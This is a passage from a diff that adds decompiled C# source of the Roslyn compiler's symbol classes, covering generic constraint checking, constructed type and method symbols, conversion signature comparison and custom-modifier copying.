result type (might be due to invalid IL or missing references) + //IL_00cc: Invalid comparison between Unknown and I4 + //IL_0077: Unknown result type (might be due to invalid IL or missing references) + //IL_014f: Unknown result type (might be due to invalid IL or missing references) + if (SatisfiesConstraintType(args.Conversions.WithNullability(includeNullability: false), typeArgument, constraintType, ref useSiteInfo)) + { + if (nullabilityDiagnosticsBuilderOpt != null && (!SatisfiesConstraintType(args.Conversions.WithNullability(includeNullability: true), typeArgument, constraintType, ref useSiteInfo) || !constraintTypeAllows(in constraintType, getTypeArgumentState(in typeArgument)))) + { + nullabilityDiagnosticsBuilderOpt.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.WRN_NullabilityMismatchInTypeParameterConstraint, containingSymbol.ConstructedFrom(), constraintType, typeParameter, typeArgument)))); + } + return; + } + ErrorCode code = (typeArgument.Type.IsReferenceType ? ErrorCode.ERR_GenericConstraintNotSatisfiedRefType : (typeArgument.IsNullableType() ? (constraintType.Type.IsInterfaceType() ? ErrorCode.ERR_GenericConstraintNotSatisfiedNullableInterface : ErrorCode.ERR_GenericConstraintNotSatisfiedNullableEnum) : (((int)typeArgument.TypeKind != 11) ? ErrorCode.ERR_GenericConstraintNotSatisfiedValType : ErrorCode.ERR_GenericConstraintNotSatisfiedTyVar))); + object obj; + object obj2; + if (constraintType.Type.Equals(typeArgument.Type, (TypeCompareKind)63)) + { + obj = constraintType.Type; + obj2 = typeArgument.Type; + } + else + { + SymbolDistinguisher symbolDistinguisher = new SymbolDistinguisher(args.CurrentCompilation, constraintType.Type, typeArgument.Type); + obj = symbolDistinguisher.First; + obj2 = symbolDistinguisher.Second; + } + diagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(code, containingSymbol.ConstructedFrom(), obj, typeParameter, obj2)))); + hasError = true; + static bool constraintTypeAllows(in TypeWithAnnotations typeWithAnnotations, NullableFlowState state) + { + if (state == NullableFlowState.NotNull) + { + return true; + } + TypeSymbol type = typeWithAnnotations.Type; + if ((object)type == null || type.IsValueType) + { + return true; + } + NullableAnnotation nullableAnnotation = typeWithAnnotations.NullableAnnotation; + if (nullableAnnotation - 1 <= NullableAnnotation.Oblivious) + { + return true; + } + if (!(type is TypeParameterSymbol { IsNotNullable: var isNotNullable } typeParameterSymbol) || isNotNullable == true) + { + return false; + } + ImmutableArray.Enumerator enumerator = typeParameterSymbol.ConstraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (!constraintTypeAllows(enumerator.Current, state)) + { + return false; + } + } + return state == NullableFlowState.MaybeNull; + } + static NullableFlowState getTypeArgumentState(in TypeWithAnnotations typeWithAnnotations) + { + TypeSymbol type = typeWithAnnotations.Type; + if ((object)type == null) + { + return NullableFlowState.NotNull; + } + if (type.IsValueType) + { + if (!type.IsNullableTypeOrTypeParameter()) + { + return NullableFlowState.NotNull; + } + return NullableFlowState.MaybeNull; + } + switch (typeWithAnnotations.NullableAnnotation) + { + case NullableAnnotation.Annotated: + if (!type.IsTypeParameterDisallowingAnnotationInCSharp8()) + { + return NullableFlowState.MaybeNull; + } + return NullableFlowState.MaybeDefault; + case NullableAnnotation.Oblivious: + return NullableFlowState.NotNull; + default: + { + if (!(type is TypeParameterSymbol { IsNotNullable: var isNotNullable } typeParameterSymbol) || isNotNullable == true) + { + return NullableFlowState.NotNull; + } + NullableFlowState? nullableFlowState = null; + ImmutableArray.Enumerator enumerator = typeParameterSymbol.ConstraintTypesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + NullableFlowState nullableFlowState2 = getTypeArgumentState(enumerator.Current); + nullableFlowState = (nullableFlowState.HasValue ? new NullableFlowState?(nullableFlowState.Value.Meet(nullableFlowState2)) : new NullableFlowState?(nullableFlowState2)); + } + return nullableFlowState ?? NullableFlowState.MaybeNull; + } + } + } + } + + private static bool AppendUseSiteDiagnostics(CompoundUseSiteInfo useSiteInfo, TypeParameterSymbol typeParameter, ref ArrayBuilder useSiteDiagnosticsBuilder) + { + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Invalid comparison between Unknown and I4 + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + if ((!useSiteInfo.AccumulatesDiagnostics || !useSiteInfo.HasErrors) && useSiteInfo.AccumulatesDependencies && !CollectionsExtensions.IsNullOrEmpty(useSiteInfo.Dependencies)) + { + ensureUseSiteDiagnosticsBuilder(ref useSiteDiagnosticsBuilder).Add(new TypeParameterDiagnosticInfo(typeParameter, (useSiteInfo.Dependencies.Count == 1) ? new UseSiteInfo(useSiteInfo.Dependencies.Single()) : new UseSiteInfo(useSiteInfo.Dependencies.ToImmutableHashSet()))); + } + if (!useSiteInfo.AccumulatesDiagnostics) + { + return false; + } + IReadOnlyCollection diagnostics = useSiteInfo.Diagnostics; + if (CollectionsExtensions.IsNullOrEmpty(diagnostics)) + { + return false; + } + ensureUseSiteDiagnosticsBuilder(ref useSiteDiagnosticsBuilder); + bool result = false; + foreach (DiagnosticInfo item in diagnostics) + { + if ((int)item.Severity == 3) + { + result = true; + } + useSiteDiagnosticsBuilder.Add(new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo(item))); + } + return result; + static ArrayBuilder ensureUseSiteDiagnosticsBuilder(ref ArrayBuilder reference) + { + return reference ?? (reference = new ArrayBuilder()); + } + } + + private static bool SatisfiesConstraintType(ConversionsBase conversions, TypeWithAnnotations typeArgument, TypeWithAnnotations constraintType, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Invalid comparison between Unknown and I4 + if (constraintType.Type.IsErrorType()) + { + return false; + } + if (conversions.HasIdentityOrImplicitReferenceConversion(typeArgument.Type, constraintType.Type, ref useSiteInfo)) + { + return true; + } + if (typeArgument.Type.IsValueType && conversions.HasBoxingConversion(typeArgument.Type.IsNullableType() ? ((NamedTypeSymbol)typeArgument.Type).ConstructedFrom : typeArgument.Type, constraintType.Type, ref useSiteInfo)) + { + return true; + } + if ((int)typeArgument.TypeKind == 11) + { + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)typeArgument.Type; + if (conversions.HasImplicitTypeParameterConversion(typeParameterSymbol, constraintType.Type, ref useSiteInfo)) + { + return true; + } + ImmutableArray.Enumerator enumerator = typeParameterSymbol.ConstraintTypesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeWithAnnotations current = enumerator.Current; + if (SatisfiesConstraintType(conversions, current, constraintType, ref useSiteInfo)) + { + return true; + } + } + } + return false; + } + + private static bool SelfOrBaseHasStaticAbstractMember(NamedTypeSymbol iface, ref CompoundUseSiteInfo useSiteInfo, out Symbol memberWithoutImplementation) + { + ImmutableArray.Enumerator enumerator = iface.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.IsStatic && current.IsImplementableInterfaceMember() && (object)iface.FindImplementationForInterfaceMember(current) == null) + { + memberWithoutImplementation = current; + return true; + } + } + foreach (NamedTypeSymbol key in iface.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics.Keys) + { + enumerator = key.GetMembers().GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current3 = enumerator.Current; + if (current3.IsStatic && current3.IsImplementableInterfaceMember() && (object)iface.FindImplementationForInterfaceMember(current3) == null) + { + memberWithoutImplementation = current3; + return true; + } + } + key.OriginalDefinition.AddUseSiteInfo(ref useSiteInfo); + } + memberWithoutImplementation = null; + return false; + } + + private static bool IsReferenceType(TypeParameterSymbol typeParameter, ImmutableArray constraintTypes) + { + if (!typeParameter.HasReferenceTypeConstraint) + { + return TypeParameterSymbol.CalculateIsReferenceTypeFromConstraintTypes(constraintTypes); + } + return true; + } + + private static bool IsValueType(TypeParameterSymbol typeParameter, ImmutableArray constraintTypes) + { + if (!typeParameter.HasValueTypeConstraint) + { + return TypeParameterSymbol.CalculateIsValueTypeFromConstraintTypes(constraintTypes); + } + return true; + } + + private static TypeParameterDiagnosticInfo GenerateConflictingConstraintsError(TypeParameterSymbol typeParameter, TypeSymbol deducedBase, bool classConflict) + { + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return new TypeParameterDiagnosticInfo(typeParameter, new UseSiteInfo((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BaseConstraintConflict, typeParameter, deducedBase, classConflict ? "class" : "struct"))); + } + + private static void AddInterfaces(ArrayBuilder builder, ImmutableArray interfaces) + { + ImmutableArray.Enumerator enumerator = interfaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + AddInterface(builder, current); + } + } + + private static void AddInterface(ArrayBuilder builder, NamedTypeSymbol @interface) + { + if (!builder.Contains(@interface)) + { + builder.Add(@interface); + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private static ConstructorConstraintError SatisfiesConstructorConstraint(TypeSymbol typeArgument) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Expected I4, but got Unknown + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + TypeKind typeKind = typeArgument.TypeKind; + switch (typeKind - 2) + { + case 8: + return SatisfiesPublicParameterlessConstructor((NamedTypeSymbol)typeArgument, synthesizedIfMissing: true); + case 2: + case 3: + return ConstructorConstraintError.None; + case 0: + if (typeArgument.IsAbstract) + { + return ConstructorConstraintError.NoPublicParameterlessConstructorOrAbstractType; + } + return SatisfiesPublicParameterlessConstructor((NamedTypeSymbol)typeArgument, synthesizedIfMissing: false); + case 9: + { + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)typeArgument; + if (!typeParameterSymbol.HasConstructorConstraint && !typeParameterSymbol.IsValueType) + { + return ConstructorConstraintError.NoPublicParameterlessConstructorOrAbstractType; + } + return ConstructorConstraintError.None; + } + case 10: + throw ExceptionUtilities.UnexpectedValue((object)typeArgument.TypeKind); + default: + return ConstructorConstraintError.NoPublicParameterlessConstructorOrAbstractType; + } + } + + private static ConstructorConstraintError SatisfiesPublicParameterlessConstructor(NamedTypeSymbol type, bool synthesizedIfMissing) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Invalid comparison between Unknown and I4 + bool hasAnyRequiredMembers = type.HasAnyRequiredMembers; + ImmutableArray.Enumerator enumerator = type.InstanceConstructors.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + if (current.ParameterCount == 0) + { + if ((int)current.DeclaredAccessibility != 6) + { + return ConstructorConstraintError.NoPublicParameterlessConstructorOrAbstractType; + } + if (hasAnyRequiredMembers && current.ShouldCheckRequiredMembers()) + { + return ConstructorConstraintError.HasRequiredMembers; + } + return ConstructorConstraintError.None; + } + } + if (synthesizedIfMissing) + { + if (hasAnyRequiredMembers) + { + return ConstructorConstraintError.HasRequiredMembers; + } + return ConstructorConstraintError.None; + } + return ConstructorConstraintError.NoPublicParameterlessConstructorOrAbstractType; + } + + private static bool IsEncompassedBy(ConversionsBase conversions, TypeSymbol a, TypeSymbol b, ref CompoundUseSiteInfo useSiteInfo) + { + if (!conversions.HasIdentityOrImplicitReferenceConversion(a, b, ref useSiteInfo)) + { + return conversions.HasBoxingConversion(a, b, ref useSiteInfo); + } + return true; + } + + private static bool IsValidEncompassedByArgument(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + TypeKind typeKind = type.TypeKind; + if (typeKind - 1 <= 2 || (int)typeKind == 5 || (int)typeKind == 10) + { + return true; + } + return false; + } + + public static bool RequiresChecking(NamedTypeSymbol type) + { + if (type.Arity == 0) + { + return false; + } + if ((object)type.OriginalDefinition == type) + { + return false; + } + return true; + } + + public static bool RequiresChecking(MethodSymbol method) + { + if (!method.IsGenericMethod) + { + return false; + } + if ((object)method.OriginalDefinition == method) + { + return false; + } + return true; + } + + [Conditional("DEBUG")] + private static void CheckEffectiveAndDeducedBaseTypes(ConversionsBase conversions, TypeSymbol effectiveBase, TypeSymbol deducedBase) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + _ = CompoundUseSiteInfo.Discarded; + } + + internal static TypeWithAnnotations ConstraintWithMostSignificantNullability(TypeWithAnnotations type1, TypeWithAnnotations type2) + { + switch (type2.NullableAnnotation) + { + case NullableAnnotation.Annotated: + return type1; + case NullableAnnotation.NotAnnotated: + return type2; + case NullableAnnotation.Oblivious: + if (type1.NullableAnnotation.IsNotAnnotated()) + { + return type1; + } + return type2; + default: + throw ExceptionUtilities.UnexpectedValue((object)type2.NullableAnnotation); + } + } + + internal static bool IsObjectConstraint(TypeWithAnnotations type, ref TypeWithAnnotations bestObjectConstraint) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)type.SpecialType == 1) + { + if (type.NullableAnnotation != NullableAnnotation.Annotated) + { + if (!bestObjectConstraint.HasType) + { + bestObjectConstraint = type; + } + else + { + bestObjectConstraint = ConstraintWithMostSignificantNullability(bestObjectConstraint, type); + } + } + return true; + } + return false; + } + + internal static bool IsObjectConstraintSignificant(bool? isNotNullable, TypeWithAnnotations objectConstraint) + { + if (isNotNullable.HasValue) + { + if (isNotNullable == true) + { + return false; + } + } + else if (objectConstraint.NullableAnnotation.IsOblivious()) + { + return false; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstructedErrorTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstructedErrorTypeSymbol.cs new file mode 100644 index 0000000..d814e95 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstructedErrorTypeSymbol.cs @@ -0,0 +1,35 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ConstructedErrorTypeSymbol : SubstitutedErrorTypeSymbol +{ + private readonly ErrorTypeSymbol _constructedFrom; + + private readonly ImmutableArray _typeArgumentsWithAnnotations; + + private readonly TypeMap _map; + + public override ImmutableArray TypeParameters => _constructedFrom.TypeParameters; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => _typeArgumentsWithAnnotations; + + public override NamedTypeSymbol ConstructedFrom => _constructedFrom; + + public override Symbol? ContainingSymbol => _constructedFrom.ContainingSymbol; + + internal override TypeMap TypeSubstitution => _map; + + public ConstructedErrorTypeSymbol(ErrorTypeSymbol constructedFrom, ImmutableArray typeArgumentsWithAnnotations, TupleExtraData? tupleData = null) + : base((ErrorTypeSymbol)constructedFrom.OriginalDefinition, tupleData) + { + _constructedFrom = constructedFrom; + _typeArgumentsWithAnnotations = typeArgumentsWithAnnotations; + _map = new TypeMap(constructedFrom.ContainingType, constructedFrom.OriginalDefinition.TypeParameters, typeArgumentsWithAnnotations); + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return new ConstructedErrorTypeSymbol(_constructedFrom, _typeArgumentsWithAnnotations, newData); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstructedMethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstructedMethodSymbol.cs new file mode 100644 index 0000000..59c1ff1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstructedMethodSymbol.cs @@ -0,0 +1,16 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ConstructedMethodSymbol : SubstitutedMethodSymbol +{ + private readonly ImmutableArray _typeArgumentsWithAnnotations; + + public override ImmutableArray TypeArgumentsWithAnnotations => _typeArgumentsWithAnnotations; + + internal ConstructedMethodSymbol(MethodSymbol constructedFrom, ImmutableArray typeArgumentsWithAnnotations) + : base(constructedFrom.ContainingType, new TypeMap(constructedFrom.ContainingType, constructedFrom.OriginalDefinition.TypeParameters, typeArgumentsWithAnnotations), constructedFrom.OriginalDefinition, constructedFrom) + { + _typeArgumentsWithAnnotations = typeArgumentsWithAnnotations; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstructedNamedTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstructedNamedTypeSymbol.cs new file mode 100644 index 0000000..1554574 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConstructedNamedTypeSymbol.cs @@ -0,0 +1,66 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ConstructedNamedTypeSymbol : SubstitutedNamedTypeSymbol +{ + private readonly ImmutableArray _typeArgumentsWithAnnotations; + + private readonly NamedTypeSymbol _constructedFrom; + + public override NamedTypeSymbol ConstructedFrom => _constructedFrom; + + internal override ImmutableArray TypeArgumentsWithAnnotationsNoUseSiteDiagnostics => _typeArgumentsWithAnnotations; + + public sealed override bool AreLocalsZeroed + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/ConstructedNamedTypeSymbol.cs", 135); + } + } + + internal ConstructedNamedTypeSymbol(NamedTypeSymbol constructedFrom, ImmutableArray typeArgumentsWithAnnotations, bool unbound = false, TupleExtraData tupleData = null) + : base(constructedFrom.ContainingSymbol, new TypeMap(constructedFrom.ContainingType, constructedFrom.OriginalDefinition.TypeParameters, typeArgumentsWithAnnotations), constructedFrom.OriginalDefinition, constructedFrom, unbound, tupleData) + { + _typeArgumentsWithAnnotations = typeArgumentsWithAnnotations; + _constructedFrom = constructedFrom; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + return new ConstructedNamedTypeSymbol(_constructedFrom, _typeArgumentsWithAnnotations, IsUnboundGenericType, newData); + } + + internal static bool TypeParametersMatchTypeArguments(ImmutableArray typeParameters, ImmutableArray typeArguments) + { + int length = typeParameters.Length; + for (int i = 0; i < length; i++) + { + if (!typeArguments[i].Is(typeParameters[i])) + { + return false; + } + } + return true; + } + + internal sealed override bool GetUnificationUseSiteDiagnosticRecursive(ref DiagnosticInfo result, Symbol owner, ref HashSet checkedTypes) + { + if (ConstructedFrom.GetUnificationUseSiteDiagnosticRecursive(ref result, owner, ref checkedTypes) || Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result, _typeArgumentsWithAnnotations, owner, ref checkedTypes)) + { + return true; + } + ImmutableArray.Enumerator enumerator = TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (Symbol.GetUnificationUseSiteDiagnosticRecursive(ref result, enumerator.Current.CustomModifiers, owner, ref checkedTypes)) + { + return true; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConversionSignatureComparer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConversionSignatureComparer.cs new file mode 100644 index 0000000..0fda499 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ConversionSignatureComparer.cs @@ -0,0 +1,55 @@ +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ConversionSignatureComparer : IEqualityComparer +{ + private static readonly ConversionSignatureComparer s_comparer = new ConversionSignatureComparer(); + + public static ConversionSignatureComparer Comparer => s_comparer; + + private ConversionSignatureComparer() + { + } + + public bool Equals(SourceUserDefinedConversionSymbol member1, SourceUserDefinedConversionSymbol member2) + { + if ((object)member1 == member2) + { + return true; + } + if ((object)member1 == null || (object)member2 == null) + { + return false; + } + if (member1.ParameterCount != 1 || member2.ParameterCount != 1) + { + return false; + } + if (member1.ReturnType.Equals(member2.ReturnType, (TypeCompareKind)14) && member1.ParameterTypesWithAnnotations[0].Equals(member2.ParameterTypesWithAnnotations[0], (TypeCompareKind)14)) + { + if (!(member1.Name == "op_Implicit") && !(member2.Name == "op_Implicit")) + { + return member1.Name == member2.Name; + } + return true; + } + return false; + } + + public int GetHashCode(SourceUserDefinedConversionSymbol member) + { + if ((object)member == null) + { + return 0; + } + int num = 1; + num = Hash.Combine(member.ReturnType.GetHashCode(), num); + if (member.ParameterCount != 1) + { + return num; + } + return Hash.Combine(member.GetParameterType(0).GetHashCode(), num); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CrefTypeParameterSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CrefTypeParameterSymbol.cs new file mode 100644 index 0000000..548cacb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CrefTypeParameterSymbol.cs @@ -0,0 +1,102 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class CrefTypeParameterSymbol : TypeParameterSymbol +{ + private readonly string _name; + + private readonly int _ordinal; + + private readonly SyntaxReference _declaringSyntax; + + public override TypeParameterKind TypeParameterKind => (TypeParameterKind)2; + + public override string Name => _name; + + public override int Ordinal => _ordinal; + + public override VarianceKind Variance => (VarianceKind)0; + + public override bool HasValueTypeConstraint => false; + + public override bool IsValueTypeFromConstraintTypes => false; + + public override bool HasReferenceTypeConstraint => false; + + public override bool IsReferenceTypeFromConstraintTypes => false; + + internal override bool? ReferenceTypeConstraintIsNullable => false; + + public override bool HasNotNullConstraint => false; + + internal override bool? IsNotNullable => null; + + public override bool HasUnmanagedTypeConstraint => false; + + public override bool HasConstructorConstraint => false; + + public override Symbol ContainingSymbol => null; + + public override ImmutableArray Locations => ImmutableArray.Create(_declaringSyntax.GetLocation()); + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Create(_declaringSyntax); + + public override bool IsImplicitlyDeclared => false; + + public CrefTypeParameterSymbol(string name, int ordinal, IdentifierNameSyntax declaringSyntax) + { + _name = name; + _ordinal = ordinal; + _declaringSyntax = declaringSyntax.GetReference(); + } + + internal override bool Equals(TypeSymbol t2, TypeCompareKind comparison) + { + if ((object)this == t2) + { + return true; + } + if ((object)t2 == null) + { + return false; + } + if (t2 is CrefTypeParameterSymbol crefTypeParameterSymbol && crefTypeParameterSymbol._name == _name && crefTypeParameterSymbol._ordinal == _ordinal) + { + return crefTypeParameterSymbol._declaringSyntax.GetSyntax(default(CancellationToken)) == _declaringSyntax.GetSyntax(default(CancellationToken)); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_name, _ordinal); + } + + internal override void EnsureAllConstraintsAreResolved() + { + } + + internal override ImmutableArray GetConstraintTypes(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override ImmutableArray GetInterfaces(ConsList inProgress) + { + return ImmutableArray.Empty; + } + + internal override NamedTypeSymbol GetEffectiveBaseClass(ConsList inProgress) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/CrefTypeParameterSymbol.cs", 205); + } + + internal override TypeSymbol GetDeducedBaseType(ConsList inProgress) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/CrefTypeParameterSymbol.cs", 211); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CustomModifierUtils.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CustomModifierUtils.cs new file mode 100644 index 0000000..ec05d0b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/CustomModifierUtils.cs @@ -0,0 +1,95 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class CustomModifierUtils +{ + internal static void CopyMethodCustomModifiers(MethodSymbol sourceMethod, MethodSymbol destinationMethod, out TypeWithAnnotations returnType, out ImmutableArray customModifiers, out ImmutableArray parameters, bool alsoCopyParamsModifier) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = sourceMethod.ConstructIfGeneric(destinationMethod.TypeArgumentsWithAnnotations); + customModifiers = (((int)destinationMethod.RefKind != 0) ? methodSymbol.RefCustomModifiers : ImmutableArray.Empty); + parameters = CopyParameterCustomModifiers(methodSymbol.Parameters, destinationMethod.Parameters, alsoCopyParamsModifier); + returnType = destinationMethod.ReturnTypeWithAnnotations; + TypeSymbol type = returnType.Type; + TypeWithAnnotations returnTypeWithAnnotations = methodSymbol.ReturnTypeWithAnnotations; + TypeSymbol type2 = returnTypeWithAnnotations.Type; + if (type.Equals(type2, (TypeCompareKind)63)) + { + returnType = returnType.WithTypeAndModifiers(CopyTypeCustomModifiers(type2, type, destinationMethod.ContainingAssembly), returnTypeWithAnnotations.CustomModifiers); + } + } + + internal static TypeSymbol CopyTypeCustomModifiers(TypeSymbol sourceType, TypeSymbol destinationType, AssemblySymbol containingAssembly) + { + ImmutableArray dynamicTransformFlags = CSharpCompilation.DynamicTransformsEncoder.EncodeWithoutCustomModifierFlags(destinationType, (RefKind)0); + TypeSymbol result = DynamicTypeDecoder.TransformTypeWithoutCustomModifierFlags(sourceType, containingAssembly, (RefKind)0, dynamicTransformFlags); + if (!containingAssembly.RuntimeSupportsNumericIntPtr) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + CSharpCompilation.NativeIntegerTransformsEncoder.Encode(instance, destinationType); + result = NativeIntegerTypeDecoder.TransformType(result, instance.ToImmutableAndFree()); + } + if (destinationType.ContainsTuple() && !sourceType.Equals(destinationType, (TypeCompareKind)11)) + { + ImmutableArray elementNames = CSharpCompilation.TupleNamesEncoder.Encode(destinationType); + result = TupleTypeDecoder.DecodeTupleTypesIfApplicable(result, elementNames); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + destinationType.AddNullableTransforms(instance2); + int position = 0; + _ = instance2.Count; + result.ApplyNullableTransforms(0, instance2.ToImmutableAndFree(), ref position, out result); + return result; + } + + internal static ImmutableArray CopyParameterCustomModifiers(ImmutableArray sourceParameters, ImmutableArray destinationParameters, bool alsoCopyParamsModifier) + { + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder val = null; + int length = destinationParameters.Length; + for (int i = 0; i < length; i++) + { + SourceParameterSymbolBase sourceParameterSymbolBase = (SourceParameterSymbolBase)destinationParameters[i]; + ParameterSymbol parameterSymbol = sourceParameters[i]; + if (parameterSymbol.TypeWithAnnotations.CustomModifiers.Any() || parameterSymbol.RefCustomModifiers.Any() || parameterSymbol.Type.HasCustomModifiers(flagNonDefaultArraySizesOrLowerBounds: true) || sourceParameterSymbolBase.TypeWithAnnotations.CustomModifiers.Any() || sourceParameterSymbolBase.RefCustomModifiers.Any() || sourceParameterSymbolBase.Type.HasCustomModifiers(flagNonDefaultArraySizesOrLowerBounds: true) || (alsoCopyParamsModifier && parameterSymbol.IsParams != sourceParameterSymbolBase.IsParams)) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(); + val.AddRange(destinationParameters, i); + } + bool newIsParams = (alsoCopyParamsModifier ? parameterSymbol.IsParams : sourceParameterSymbolBase.IsParams); + val.Add(sourceParameterSymbolBase.WithCustomModifiersAndParams(parameterSymbol.Type, parameterSymbol.TypeWithAnnotations.CustomModifiers, ((int)sourceParameterSymbolBase.RefKind != 0) ? parameterSymbol.RefCustomModifiers : ImmutableArray.Empty, newIsParams)); + } + else + { + val?.Add((ParameterSymbol)sourceParameterSymbolBase); + } + } + return val?.ToImmutableAndFree() ?? destinationParameters; + } + + internal static bool HasInAttributeModifier(this ImmutableArray modifiers) + { + return modifiers.Any((CustomModifier modifier) => !modifier.IsOptional && ((CSharpCustomModifier)(object)modifier).ModifierSymbol.IsWellKnownTypeInAttribute()); + } + + internal static bool HasRequiresLocationAttributeModifier(this ImmutableArray modifiers) + { + return modifiers.Any((CustomModifier modifier) => modifier.IsOptional && ((CSharpCustomModifier)(object)modifier).ModifierSymbol.IsWellKnownTypeRequiresLocationAttribute()); + } + + internal static 